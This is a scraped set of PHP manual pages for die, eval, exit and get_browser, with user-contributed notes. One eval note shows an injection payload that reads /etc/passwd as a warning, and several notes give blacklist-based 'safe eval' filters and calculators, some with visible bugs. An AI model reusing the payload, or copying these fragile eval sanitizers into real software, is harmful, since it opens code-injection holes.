"Is your error handling set up to prevent stack traces and other overly informative error messages from leaking"
OWASP has guidelines on their site about good error messaging. Something everyone should consider when creating sites.
Hayley Watson 26-Aug-2012 01:29
It is poor design to rely on die() for error handling in a web site because it results in an ugly experience for site users: a broken page and - if they're lucky - an error message that is no help to them at all. As far as they are concerned, when the page breaks, the whole site might as well be broken.

If you ever want the public to use your site, always design it to handle errors in a way that will allow them to continue using it if possible. If it's not possible and the site really is broken, make sure that you find out so that you can fix it. die() by itself won't do either.

If a supermarket freezer breaks down, a customer who wanted to buy a tub of ice cream doesn't expect to be kicked out of the building.
zero dot affect at hotmail dot com 10-May-2010 11:53
I was making a few functions and i thought it would be easier to use a single function to close off my code, The following is a example of it working i am sure if you include footer code when exiting code all the time you'll understand the purpose of the following function.

<?php
function error_msg($text) {
     # add other stuff you may want here
     $hello_var = 'hello'; //example of addon to beginning
     $goodbye_var = 'goodbye'; //example of addon to end
     die($hello_var.'<br />'.$text.'<br />'.$goodbye_var);
}

error_msg('how are you?');
?>

Outputs:
hello
how are you?
goodbye
Damien Bezborodov 21-Aug-2009 07:45
Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0.

If you are looking to follow UNIX conventions for CLI programs, you may consider the following:

<?php
fwrite(STDERR, "An error occurred.\n");
exit(1); // A response code other than 0 is a failure
?>

In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success:

rc@adl-dev-01:~$ php die.php > test
An error occurred.
rc@adl-dev-01:~$ echo $?
1

Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story.
jbailey at raspberryginger dot com 20-Jan-2007 06:33
die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines.
28-Sep-2004 06:36
Perhaps the Coldfusion query below can be answered as follows:
---------
(From the "User Contributed Notes" for the PHP construct "exit")

nospam at mydomain dot com
27-Sep-2004 10:12
Using return instead of exit is to prefer when you want the script that you have included inside another script to die but continue to execute the main script.
// Radcliff
---------
matthias dot schniedermeyer at telefonica dot de 14-Oct-2003 04:29
To get a perl-like die you can/should append this snipped
 . " File: " . __FILE__ . " on line: " . __LINE__
e.g.
die ("Error" . " File: " . __FILE__ . " on line: " . __LINE__);


Evaluate a string as PHP code

  • « die
  • exit »
  • PHP Manual
  • Misc. Functions
  • Evaluate a string as PHP code

eval

(PHP 4, PHP 5)

eval — Evaluate a string as PHP code

Description

mixed eval ( string $code )

Evaluates the given code as PHP.

Caution

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

Parameters

code

Valid PHP code to be evaluated.

The code mustn't be wrapped in opening and closing PHP tags, i.e. 'echo "Hi!";' must be passed instead of '<? echo "Hi!"; >'. It is still possible to leave and reenter PHP mode though using the appropriate PHP tags, e.g. 'echo "In PHP mode!"; ?>In HTML mode!<? echo "Back in PHP mode!";'.

Apart from that the passed code must be valid PHP. This includes that all statements must be properly terminated using a semicolon. 'echo "Hi!"' for example will cause a parse error, whereas 'echo "Hi!";' will work.

A return statement will immediately terminate the evaluation of the code.

The code will be executed in the scope of the code calling eval(). Thus any variables defined or changed in the eval() call will remain visible after it terminates.

Return Values

eval() returns NULL unless return is called in the evaluated code, in which case the value passed to return is returned. If there is a parse error in the evaluated code, eval() returns FALSE and execution of the following code continues normally. It is not possible to catch a parse error in eval() using set_error_handler().

Examples

Example #1 eval() example - simple text merge

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

The above example will output:

This is a $string with my $name in it.
This is a cup with my coffee in it.

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions.

Tip

As with anything that outputs its result directly to the browser, the output-control functions can be used to capture the output of this function, and save it in a string (for example).

Note:

In case of a fatal error in the evaluated code, the whole script exits.

See Also

  • call_user_func() - Call the callback given by the first parameter

User Contributed Notes

andrea at donboscoland dot it 28-Apr-2014 12:03
with reference to the problem of mathematic equations validation
, as an operator is not a good idea... i've removed the comma from operators and added the optional group (,(?1))? to validate functions like pow(2,3)

$operators = '[\/*\^\+-]'; // Allowed math operators

$regexp = '/^([+-]?('.$number.'|'.$functions.'\s*\((?1)+(,(?1))?\)|\((?1)+\))(?:'.$operators.'(?1))?)+$/'; // Final regexp, heavily using recursive patterns
andrea at donboscoland dot it 27-Apr-2014 07:04
Sorry, some corrections to my note... I've:
* removed the minus sign -? at the beginning and readded the |pi|π at the end like in previous examples;
* added some math functions;
* added the , in the operators: now it is possible to calculate pow(1,3) or rand(1,10);
* changed the $number definition to accept scientific notation like in:
http://stackoverflow.com/questions/638565/parsing-scientific-notation-sensibly

<?php
function calc($equation)
{
    // Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);
    echo "$equation\n";

    $number = '((?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?|pi|π)'; // What is a number

    $functions = '(?:sinh?|cosh?|tanh?|acosh?|asinh?|atanh?|exp|log(10)?|deg2rad|rad2deg
|sqrt|pow|abs|intval|ceil|floor|round|(mt_)?rand|gmp_fact)'; // Allowed PHP functions
    $operators = '[\/*\^\+-,]'; // Allowed math operators
    $regexp = '/^([+-]?('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?1))?)+$/'; // Final regexp, heavily using recursive patterns

    if (preg_match($regexp, $equation))
    {
        $equation = preg_replace('!pi|π!', 'pi()', $equation); // Replace pi with pi function
        echo "$equation\n";
        eval('$result = '.$equation.';');
    }
    else
    {
        $result = false;
    }
    return $result;
}
?>
andrea at donboscoland dot it 27-Apr-2014 05:10
Modified version of Daniele Mams's answer: I change the $number definition to accept scientific notation like in:
http://stackoverflow.com/questions/638565/parsing-scientific-notation-sensibly

<?php
function calc($equation)
{
    // Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);
    echo "$equation\n";

    $number = '(-?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?)'; // What is a number

    $functions = '(?:abs|atan|ceil|cos|exp|gmp_fact|intval|log(10)?|rand|round|sin|sqrt|tan)'; // Allowed PHP functions
    $operators = '[\/*\^\+-]'; // Allowed math operators
    $regexp = '/^([+-]?('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?1))?)+$/'; // Final regexp, heavily using recursive patterns

    if (preg_match($regexp, $equation))
    {
        $equation = preg_replace('!pi|π!', 'pi()', $equation); // Replace pi with pi function
        echo "$equation\n";
        eval('$result = '.$equation.';');
    }
    else
    {
        $result = false;
    }
    return $result;
}
?>
jg estiot at gmail dot com 25-Apr-2014 12:27
Eval() is no more dangerous than allowing SQL injection or other security flaws within your scripts. I feel it is unfair to single out eval() as "dangerous" when it is as dangerous as many other features of the PHP language if misused.

I am writing a powerful PHP Framework and without eval() I could not implement some of its very best features.

With power comes responsibility and it is up to each of us to ensure that no unfiltered user input ever ends up in eval().
thomas at not dot my dot real dot domain dot com 31-Mar-2014 07:48
eval() can easily be used in if-statements (in contrast to jkuckartz1984 at hotmail dot com): simply put a "return()" around the statement: if(eval('return($total'.$i.');')) ...

And in answer to the top-comment: I use eval() for my personal bug-fixes in e.g. open-source-software, where a function gets old code and new code as strings, so it can produce a bugreport (with some more added information) and the new code is evaled by eval(). Just a little overhead, but a nice way to keep all my changes together. So I think, there are some "right" questions where eval() is the (proper) answer.

At least I think, if you say "The eval() language construct is very dangerous because it allows execution of arbitrary PHP code." you just as well can say "PHP is very dangerous because it allows execution of arbitrary PHP code." The point is not to use any user provided data - that's all.
Daniele Mams 22-Mar-2014 08:15
This is another function that return true if $formula is a syntactically valid Math function, false otherwise.

NDR.
1) It not allows %, pi|π.
2) It allows this Math functions:
abs, atan, ceil, cot, cos, exp, gmp_fact, intval, sin, sqrt, tan, log, log10, rand, round.

I write it on pastebin.com because php.net not allow me to post long code.
enjoy it! :-)
http://pastebin.com/EgwV7QdK
Daniele Mams 21-Mar-2014 06:04
Modified version of sooncj answer: your regex not allow something like this: 1-(1). So I modified your code: I change the 'Allowed PHP functions':

<?php
function calc($equation)
{
    // Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);
    echo "$equation\n";

    $number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
    $functions = '(?:abs|atan|ceil|cos|exp|gmp_fact|intval|log(10)?|rand|round|sin|sqrt|tan)'; // Allowed PHP functions
    $operators = '[\/*\^\+-]'; // Allowed math operators
    $regexp = '/^([+-]?('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?1))?)+$/'; // Final regexp, heavily using recursive patterns

    if (preg_match($regexp, $equation))
    {
        $equation = preg_replace('!pi|π!', 'pi()', $equation); // Replace pi with pi function
        echo "$equation\n";
        eval('$result = '.$equation.';');
    }
    else
    {
        $result = false;
    }
    return $result;
}
?>

This function allow also this 'strange' math function:
1) a-+b
2) a+-b
3) a++b   << PHP not allow this
4) a--b.   << PHP not allow this

But not allow with 3 '+' or '-':
1) a---b, a+++b, a-++b, a+--b, a+-+b, a-+-b.

Allow other Math functions.

For a++b or a--b i write another function that block that!
sooncj 01-Feb-2014 12:51
Modified version of bohwaz's answer: with negative number support and removes the requirement of properly grouped (bracketed) expressions.

<?php
function calc($equation)
{
    // Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);
    echo "$equation\n";

    $number = '(?:-?\d+(?:[,.]\d+)?|pi|π)'; // What is a number
    $functions = '(?:sinh?|cosh?|tanh?|abs|acosh?|asinh?|atanh?|exp|log10|deg2rad|rad2deg|sqrt|ceil|floor|round)'; // Allowed PHP functions
    $operators = '[+\/*\^%-]'; // Allowed math operators
    $regexp = '/^(('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?1))?)+$/'; // Final regexp, heavily using recursive patterns

    if (preg_match($regexp, $equation))
    {
        $equation = preg_replace('!pi|π!', 'pi()', $equation); // Replace pi with pi function
        echo "$equation\n";
        eval('$result = '.$equation.';');
    }
    else
    {
        $result = false;
    }
    return $result;
}
?>
sc1n at yahoo dot com 28-Mar-2012 09:57
If you would like to handle doing an eval on a string with mixed PHP and other stuff such as HTML, you can use the following:

Example:

<?php
$test_string = 'A friendly llama <?php 1 == 1 ? "spit on" : "hugged"; ?> me';

$p = new PhpStringParser();
echo $p->parse($mixed_string);
?>

Result:

A friendly llama spit on me

You can optionally make variables that are outside of the string you are parsing available to the eval level scope by passing them into the constructor.

Example:

<?php
$llama_action = 'hugged';
$test_string = 'A friendly llama <?=$llama_action?> me';

$p = new PhpStringParser(array('llama_action', $llama_action));
echo $p->parse($mixed_string);
?>

Result:

A friendly llama hugged me

<?php

class PhpStringParser
{
    protected $variables;

    public function __construct($variables = array())
    {
        $this->variables = $variables;
    }

    protected function eval_block($matches)
    {
        if( is_array($this->variables) && count($this->variables) )
        {
            foreach($this->variables as $var_name => $var_value)
            {
                $$var_name = $var_value;
            }
        }

        $eval_end = '';

        if( $matches[1] == '<?=' || $matches[1] == '<?php=' )
        {
            if( $matches[2][count($matches[2]-1)] !== ';' )
            {
                $eval_end = ';';
            }
        }

        $return_block = '';

        eval('$return_block = ' . $matches[2] . $eval_end);

        return $return_block;
    }

    public function parse($string)
    {
        return preg_replace_callback('/(\<\?=|\<\?php=|\<\?php)(.*?)\?\>/', array(&$this, 'eval_block'), $string);
    }
}

?>
bohwaz 05-Feb-2012 07:51
If you want to allow math input and make sure that the input is proper mathematics and not some hacking code, you can try this:

<?php

$test = '2+3*pi';

// Remove whitespaces
$test = preg_replace('/\s+/', '', $test);

$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
$functions = '(?:sinh?|cosh?|tanh?|abs|acosh?|asinh?|atanh?|exp|log10|deg2rad|rad2deg|sqrt|ceil|floor|round)'; // Allowed PHP functions
$operators = '[+\/*\^%-]'; // Allowed math operators
$regexp = '/^(('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?2))?)+$/'; // Final regexp, heavily using recursive patterns

if (preg_match($regexp, $q))
{
    $test = preg_replace('!pi|π!', 'pi()', $test); // Replace pi with pi function
    eval('$result = '.$test.';');
}
else
{
    $result = false;
}

?>

I can't guarantee you absolutely that this will block every possible malicious code nor that it will block malformed code, but that's better than the matheval function below which will allow malformed code like '2+2+' which will throw an error.
socram8888 at gmail dot com 12-Nov-2011 09:18
It may be a bit obvious, but if you don't want eval'd code to interfere with main code variables, all you have to do is to call an eval from another function like this:

<?php
function localeval($code) {
    return eval($code);
};

$a = "a";
echo '$a before eval code: ' . $a . "\n"; // prints "a"
localeval('$a = \'b\';');
echo '$a after localeval: ' . $a . "\n"; // still prints "a"
eval('$a = \'b\';');
echo '$a after eval: ' . $a . "\n"; // prints "b"
?>
Mark Simon 01-Mar-2011 12:29
I have looked for a simple way of forcing PHP to interpolate strings after the event (that is, after they have already been assigned, say from a text file).

The following seems to work:

<?php
    $text='$a + $b = $c';
    $a=2; $b=3; $c=$a+$b;
    print eval("return<<<END\n$text\nEND;\n");
?>

I have even tried it with some potentially evil code, but the context seems to preclude interpreting it as anything other than a string.

Mark
php at rijkvanwel dot nl 13-Sep-2010 04:41
To catch a parse error in eval()'ed code with a custom error handler, use error_get_last() (PHP >= 5.2.0).

<?php
$return = eval( 'parse error' );

if ( $return === false && ( $error = error_get_last() ) ) {
    myErrorHandler( $error['type'], $error['message'], $error['file'], $error['line'], null );

    // Since the "execution of the following code continues normally", as stated in the manual,
    // we still have to exit explicitly in case of an error
    exit;
}
?>
darkhogg (foo) gmail (bar) com 30-Mar-2010 07:33
The following code

<?php
    eval( '?> foo <?php' );
?>

does not throw any error, but prints the opening tag.
Adding a space after the open tag fixes it:

<?php
    eval( '?> foo <?php ' );
?>
cmr at expansys dot com 31-Jul-2009 09:20
Fixed matheval function when percentage is less than 10:

<?php
function matheval($equation)
  {
    $equation = preg_replace("/[^0-9+\-.*\/()%]/","",$equation);
    // fix percentage calcul when percentage value < 10
    $equation = preg_replace("/([+-])([0-9]{1})(%)/","*(1\$1.0\$2)",$equation);
    // calc percentage
    $equation = preg_replace("/([+-])([0-9]+)(%)/","*(1\$1.\$2)",$equation);
    // you could use str_replace on this next line
    // if you really, really want to fine-tune this equation
    $equation = preg_replace("/([0-9]+)(%)/",".\$1",$equation);
    if ( $equation == "" )
    {
      $return = 0;
    }
    else
    {
      eval("\$return=" . $equation . ";" );
    }
    return $return;
  }
?>
php at stock-consulting dot com 28-Nov-2008 05:16
Magic constants like __FILE__ may not return what you expect if used inside eval()'d code. Instead, it'll answer something like "c:\directory\filename.php(123) : eval()'d code" (under Windows, obviously, checked with PHP5.2.6) - which can still be processed with a function like preg_replace to receive the filename of the file containing the eval().

Example:

<?php
$filename = preg_replace('@\(.*\(.*$@', '', __FILE__);
echo $filename;
?>
maurice at chandoo dot de 08-Nov-2008 12:20
<?php
function safe_eval($code,&$status) { //status 0=failed,1=all clear
    //Signs
        //Can't assign stuff
    $bl_signs = array("=");

    //Language constructs
    $bl_constructs = array("print","echo","require","include","if","else",
"while","for","switch","exit","break");

    //Functions
    $funcs = get_defined_functions();
    $funcs = array_merge($funcs['internal'],$funcs['user']);

    //Functions allowed
        //Math cant be evil, can it?
    $whitelist = array("pow","exp","abs","sin","cos","tan");

    //Remove whitelist elements
    foreach($whitelist as $f) {
        unset($funcs[array_search($f,$funcs)]);
    }
    //Append '(' to prevent confusion (e.g. array() and array_fill())
    foreach($funcs as $key => $val) {
        $funcs[$key] = $val."(";
    }
    $blacklist = array_merge($bl_signs,$bl_constructs,$funcs);

    //Check
    $status=1;
    foreach($blacklist as $nono) {
        if(strpos($code,$nono) !== false) {
            $status = 0;
            return 0;
        }
    }

    //Eval
    return @eval($code);
}
?>

Note: Try to include this after all of your other self-defined functions and consider whether the blacklist is appropriate for your purpose

I wouldn't recommend this function if you're going to use eval extensively in your script. However, it's worth a try if you are going to put user input into eval
marco at harddisk dot is-a-geek dot org 30-Jun-2008 07:44
eval does not work reliably in conjunction with global, at least not in the cygwin port version.

So:
<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval("global \$".$module."_var;");
  eval("\$".$module."_var=&new foo();");
  //various stuff ... ...
}
load_module("foo");
?>

becomes to working:

<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval('$GLOBALS["'.$module.'_var"]=&new foo();');
  //various stuff ... ...
}
load_module("foo");
?>

Note in the 2nd example, you _always_ need to use $GLOBALS[$module] to access the variable!
Ipseno at yahoo dot com 25-Feb-2008 07:24
If you attempt to call a user defined function in eval() and .php files are obfuscated by Zend encoder, it will result in a fatal error.

Use a call_user_func() inside eval() to call your personal hand made functions.

This is user function
<?php

function square_it($nmb)
{
    return $nmb * $nmb;
}

?>

//Checking if eval sees it?
<?php

$code = var_export( function_exists('square_it') );

eval( $code );    //returns TRUE - so yes it does!

?>

This will result in a fatal error:
PHP Fatal error:  Call to undefined function square_it()
<?php

$code = 'echo square_it(55);' ;

eval( $code );

?>

This will work
<?php

$code = 'echo call_user_func(\'square_it\', 55);' ;

eval( $code );

?>
udo dot schroeter at gmail dot com 26-May-2007 08:40
Safer Eval

eval() is used way to often. It slows down code, makes it harder to maintain and it created security risks. However, sometimes, I found myself wishing I could allow some user-controlled scripting in my software, without giving access to dangerous functions.

That's what the following class does: it uses PHP's tokenizer to parse a script, compares every function call against a list of allowed functions. Only if the script is "clean", it gets eval'd.

<?php
  class SaferScript {
    var $source, $allowedCalls;

    function SaferScript($scriptText) {
      $this->source = $scriptText;
      $this->allowedCalls = array();
    }

    function allowHarmlessCalls() {
      $this->allowedCalls = explode(',',
        'explode,implode,date,time,round,trunc,rand,ceil,floor,srand,'.
        'strtolower,strtoupper,substr,stristr,strpos,print,print_r');
    }

    function parse() {
      $this->parseErrors = array();
      $tokens = token_get_all('<?'.'php '.$this->source.' ?'.'>');
      $vcall = '';

      foreach ($tokens as $token) {
        if (is_array($token)) {
          $id = $token[0];
          switch ($id) {
            case(T_VARIABLE): { $vcall .= 'v'; break; }
            case(T_STRING): { $vcall .= 's'; }
            case(T_REQUIRE_ONCE): case(T_REQUIRE): case(T_NEW): case(T_RETURN):
            case(T_BREAK): case(T_CATCH): case(T_CLONE): case(T_EXIT):
            case(T_PRINT): case(T_GLOBAL): case(T_ECHO): case(T_INCLUDE_ONCE):
            case(T_INCLUDE): case(T_EVAL): case(T_FUNCTION): {
              if (array_search($token[1], $this->allowedCalls) === false)
                $this->parseErrors[] = 'illegal call: '.$token[1];
            }
          }
        }
        else
          $vcall .= $token;
      }

      if (stristr($vcall, 'v(') != '')
        $this->parseErrors[] = array('illegal dynamic function call');

      return($this->parseErrors);
    }

    function execute($parameters = array()) {
      foreach ($parameters as $k => $v)
        $$k = $v;
      if (sizeof($this->parseErrors) == 0)
        eval($this->source);
      else
        print('cannot execute, script contains errors');
    }
  }
?>

Usage example:
<?php
  $ls = new SaferScript('horribleCode();');
  $ls->allowHarmlessCalls();
  print_r($ls->parse());
  $ls->execute();
?>

Of course it is not entirely safe, but it's a start ;-)
burninleo at gmx dot net 25-May-2006 02:51
The only way to retreive information on parse errors in eval'd code seems to be the output buffering.

<?PHP
// Append a return true to php-code to check on errors
$code.= "\nreturn true;";
// Send any output to buffer
ob_start();
// Do eval()
$check = eval($code);
$output = ob_get_contents();
ob_end_clean();
// Send output or report errors
if ($check === true) {
  echo $output;
} else {
  // Manually parse output for errors and
  // generate usable information for the user
  // especially content of error-lines.
  $pattern = '/^\s*Parse error\s*:(.+) in (.+) on line (\d+)\s*$/m';
  etc ...
}
jkuckartz1984 at hotmail dot com 29-Jan-2006 01:01
Might you have to do eval in if statements, you will find it's quite some task to make it work.

The only way to make it work is to make a reference to the eval'd variable. This example will show the different usage of eval in if-statements. It simply becomes clear that an eval() in an if() is not working as you want to.

<?php
$total2=5;
$total3=0;
$i=2;
if (eval("\$total".$i.";")) {
    echo "eval: total2 is full<br>";
} else {
    echo "eval: total2 is empty<br>";
}
// returns "empty"
// eval without the ";" will generate a warning

$str="\$refer=&\$total".$i.";";
eval($str);
if ($refer) {
    echo "eval: total2 is full<br>";
} else {
    echo "eval: total2 is empty<br>";
}
// returns "full"
?>
1413 at blargh dot com 09-Jun-2005 09:58
Just a note when using eval and expecting return values - the eval()'ed string must do the returning.  Take the following example script:

<?php

function ReturnArray()
{
  return array("foo"=>1, "bar"=>2);
}

$test = eval("ReturnArray();");
print("Got back $test (".count($test).")\n");

$test = eval("return ReturnArray();");
print("Got back $test (".count($test).")\n");

?>

You will get back:

Got back  (0)
Got back Array (2)

This ran me afoul for a little bit, but is the way eval() is supposed to work (eval is evaluating a new PHP script).
francois at bonzon dot com 28-Feb-2005 04:20
An obvious security reminder, which I think wasn't yet mentioned here. Special care is required when variables entered by the user are passed to the eval() function. You should validate those user inputs, and really make sure they have the format you expect.

E.g., if you evaluate math expressions with something like

<?php
  eval("\$result = $equation;");
?>

without any check on the $equation variable, a bad user could enter in the $equation field

""; echo file_get_contents('/etc/passwd')

- or whatever PHP code he wants! - which would evaluate to

<?php
  $result = ""; echo file_get_contents('/etc/passwd');
?>

and seriously compromising your security!
mahaixing at hotmail dot com 09-Oct-2004 05:49
When using Dynamic Proxy design pattern we must create a class automaticly. Here is a sample code.

<?php
$clazz = "class SomeClass { var \$value = 'somevalue'; function show() { echo get_class(\$this);}}";

eval($clazz);

$instance = new SomeClass;

// Here output 'somevalue';
echo $instance->value;

echo "<br>";

//Here output 'someclass'
$instance->show();
?>
evildictaitor at hotmail dot com 15-Aug-2004 10:00
Be careful when using eval() on heavy usage sites in PHP 4.0+ as it takes vastly longer to activate due to the limitations of the Zend engine.

The Zend engine changes the PHP to a binary structure at the START of the file, and then parses it. Every time an eval is called, however, it has to reactivate the parsing procedure and convert the eval()'d code into usable binary format again.

Basically, if you eval() code, it takes as long as calling a new php page with the same code inside.
12-Jul-2004 06:37
Kepp the following Quote in mind:

If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP


Output a message and terminate the current script

  • « eval
  • get_browser »
  • PHP Manual
  • Misc. Functions
  • Output a message and terminate the current script

exit

(PHP 4, PHP 5)

exit — Output a message and terminate the current script

Description

void exit ([ string $status ] )
void exit ( int $status )

Terminates execution of the script. Shutdown functions and object destructors will always be executed even if exit is called.

exit is a language construct and it can be called without parentheses if no status is passed.

Parameters

status

If status is a string, this function prints the status just before exiting.

If status is an integer, that value will be used as the exit status and not printed. Exit statuses should be in the range 0 to 254, the exit status 255 is reserved by PHP and shall not be used. The status 0 is used to terminate the program successfully.

Note: PHP >= 4.2.0 does NOT print the status if it is an integer.

Return Values

No value is returned.

Examples

Example #1 exit example

<?php

$filename = '/path/to/data-file';
$file = fopen($filename, 'r')
    or exit("unable to open file ($filename)");

?>

Example #2 exit status example

<?php

//exit program normally
exit;
exit();
exit(0);

//exit with an error code
exit(1);
exit(0376); //octal

?>

Example #3 Shutdown functions and destructors run regardless

<?php
class Foo
{
    public function __destruct()
    {
        echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
    }
}

function shutdown()
{
    echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
}

$foo = new Foo();
register_shutdown_function('shutdown');

exit();
echo 'This will not be output.';
?>

The above example will output:

 Shutdown: shutdown()
 Destruct: Foo::__destruct()

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions.

Note:

This language construct is equivalent to die().

See Also

  • register_shutdown_function() - Register a function for execution on shutdown

User Contributed Notes

alexyam at live dot com 10-Apr-2012 01:19
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
nicoladinh at gmail dot com 02-Dec-2010 09:09
Calling to exit() will flush all buffers started by ob_start() to default output.
dexen dot devries at gmail dot com 03-Nov-2010 02:54
If you want to avoid calling exit() in FastCGI as per the comments below, but really, positively want to exit cleanly from nested function call or include, consider doing it the Python way:

define an exception named `SystemExit', throw it instead of calling exit() and catch it in index.php with an empty handler to finish script execution cleanly.

<?php

// file: index.php
class SystemExit extends Exception {}
try {
   /* code code */
}
catch (SystemExit $e) { /* do nothing */ }
// end of file: index.php

// some deeply nested function or .php file

if (SOME_EXIT_CONDITION)
   throw new SystemExit(); // instead of exit()

?>
vincent dot laag at gmail dot com 24-Sep-2010 09:51
Don't use the  exit() function in the auto prepend file with fastcgi (linux/bsd os).
It has the effect of leaving opened files with for result at least a nice  "Too many open files  ..." error.
matt at serverboy dot net 23-Mar-2010 09:11
It should be noted that if building a site that runs on FastCGI, calling exit will generate an error in the server's log file. This can quickly fill up.

Also, using exit will diminish the performance benefit gained on FastCGI setups. Instead, consider using code like this:

<?php

if( /* error case */ )
    echo "Invalid request";
else {
    /* The rest of your application */
}
?>

I've also seen developers get around this issue with FastCGI by wrapping their code in a switch statement and using breaks:

index.php:
<?php

switch(true) {
    case true:
        require('application.php');
}

?>

application.php:
<?php

if($x > $y) {
    echo "Sorry, that didn't work.";
    break;
}

// ...

?>

It does carry some overhead, but compared to the alternative, it does the job well.
albert at removethis dot peschar dot net 05-May-2009 08:50
jbezorg at gmail proposed the following:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
  header('Location: /');

?>

After sending the `Location:' header PHP _will_ continue parsing, and all code below the header() call will still be executed.  So instead use:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__)
{
  header('Location: /');
  exit;
}

?>
jbezNULLorg at gmNULLail dot com 24-Feb-2009 09:26
If you are retroactively going through included files to prevent them from being accessed, you can use the following.

<?php
if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
    header('location: /'); // or exit();

// rest of code

?>
void a t informance d o t info 26-Oct-2008 11:11
To rich dot lovely at klikzltd dot co dot uk:

Using a "@" before header() to suppress its error, and relying on the "headers already sent" error seems to me a very bad idea while building any serious website.

This is *not* a clean way to prevent a file from being called directly. At least this is not a secure method, as you rely on the presence of an exception sent by the parser at runtime.

I recommend using a more common way as defining a constant or assigning a variable with any value, and checking for its presence in the included script, like:

in index.php:
<?php
define ('INDEX', true);
?>

in your included file:
<?php
if (!defined('INDEX')) {
   die('You cannot call this script directly !');
}
?>

BR.

Ninj
emils at tvnet dot lv 23-Aug-2003 05:14
Note, that using exit() will explicitly cause Roxen webserver to die, if PHP is used as Roxen SAPI module. There is no known workaround for that, except not to use exit(). CGI versions of PHP are not affected.
mbostrom at paragee dot com 26-Feb-2003 09:45
In PHP 4.3.1 (and possibly 4.3.0), running scripts from the command line works a lot better.  This is probably because 4.3.x has a whole new CLI mode.

Specifically, exit status is now returned (to the shell) as you would expect.  This is a godsend for writing embedded email processing scripts, as much email infrastructure (fetchmail, qmail, mutt, etc.) is dependant upon correctly returned status codes, and the inability to return a status code (as in PHP 4.2.x) is an insurmountable obstacle.

$_SERVER["argv"] is also always available in 4.3.x, I think, whereas in 4.2.x php.ini could prevent it from being available.

(On the downside, I had to ./configure --without-mysql in order to get 4.3.1 to compile on RedHat 8.0.  Otherwise there was what looked like a fatal compile warning (that I might also have been able to ignore somehow).

The "fatal warning" FYI:
ext/mysql/libmysql/my_tempnam.o: In function `my_tempnam':
ext/mysql/libmysql/my_tempnam.c:103: the use of `tempnam' is dangerous, better use `mkstemp'

Changing the code from tempnam to mkstemp would probably not be overly complicated, but it is non-trivial.)
shaun at NOshatSPAM dot net 09-Aug-2002 01:13
return may be preferable to exit in certain situations, especially when dealing with the PHP binary and the shell.

I have a script which is the recipient of a mail alias, i.e. mail sent to that alias is piped to the script instead of being delivered to a mailbox. Using exit in this script resulted in the sender of the email getting a delivery failure notice. This was not the desired behavior, I wanted to silently discard messages which did not satisfy the script's requirements.

After several hours of trying to figure out what integer value I should pass to exit() to satisfy sendmail, I tried using return instead of exit. Worked like a charm. Sendmail didn't like exit but it was perfectly happy with return. So, if you're running into trouble with exit and other system binaries, try using return instead.
devinemke at devinemke dot com 11-Jan-2002 09:38
If you are using templates with numerous includes then exit() will end you script and your template will not complete (no </table>, </body>, </html> etc...).  Rather than having complex nested conditional logic within your content, just create a "footer.php" file that closes all of your HTML and if you want to exit out of a script just include() the footer before you exit().

for example:

include ('header.php');
blah blah blah
if (!$mysql_connect) {
echo "unable to connect";
include ('footer.php');
exit;
}
blah blah blah
include ('footer.php');


Tells what the user's browser is capable of

  • « exit
  • __halt_compiler »
  • PHP Manual
  • Misc. Functions
  • Tells what the user's browser is capable of

get_browser

(PHP 4, PHP 5)

get_browser — Tells what the user's browser is capable of

Description

mixed get_browser ([ string $user_agent [, bool $return_array = false ]] )

Attempts to determine the capabilities of the user's browser, by looking up the browser's information in the browscap.ini file.

Parameters

user_agent

The User Agent to be analyzed. By default, the value of HTTP User-Agent header is used; however, you can alter this (i.e., look up another browser's info) by passing this parameter.

You can bypass this parameter with a NULL value.

return_array

If set to TRUE, this function will return an array instead of an object.

Return Values

The information is returned in an object or an array which will contain various data elements representing, for instance, the browser's major and minor version numbers and ID string; TRUE/FALSE values for features such as frames, JavaScript, and cookies; and so forth.

The cookies value simply means that the browser itself is capable of accepting cookies and does not mean the user has enabled the browser to accept cookies or not. The only way to test if cookies are accepted is to set one with setcookie(), reload, and check for the value.

Examples

